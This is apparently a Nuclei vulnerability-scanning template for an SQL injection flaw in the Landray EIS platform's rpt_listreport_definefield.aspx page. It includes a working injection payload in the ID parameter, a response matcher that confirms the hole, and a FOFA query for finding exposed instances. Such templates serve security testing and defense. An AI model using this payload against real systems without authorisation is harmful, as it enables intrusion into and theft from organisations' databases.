landray-eis-rpt-listreport-definefield-sqli.yaml

id: landray-eis-rpt-listreport-definefield-sqli

info:
  name: Landray EIS Smart Collaboration Platform rpt_listreport_definefield.aspx Interface - SQL Injection
  author: Co5mos
  severity: high
  description: |
    The Landray EIS Smart Collaboration Platform integrates a wealth of modules to meet the organizational and enterprise needs in knowledge, collaboration, and project management system construction. There exists an SQL injection vulnerability in the rpt_listreport_definefield.aspx interface of the Landray EIS Smart Collaboration Platform.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    fofa-query: app="Landray-OA系统"
    max-request: 2
  tags: landray,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+"

    matchers:
      - type: word
        part: body
        words:
          - "Microsoft SQL Server"